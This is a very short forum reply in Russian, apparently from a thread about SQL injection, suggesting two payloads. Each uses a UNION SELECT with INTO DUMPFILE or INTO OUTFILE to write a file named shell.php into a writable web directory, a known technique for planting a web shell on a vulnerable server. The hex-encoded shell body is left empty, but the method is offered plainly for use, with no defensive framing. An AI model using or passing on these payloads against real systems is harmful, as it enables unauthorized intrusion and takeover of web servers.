А пробовал так:

union select null,null,(hex()),null,....,null into dumpfile /ful_path/writable_dir/shell.php

union select null,null,(hex()),null,....,null into outfile /ful_path/writable_dir/shell.php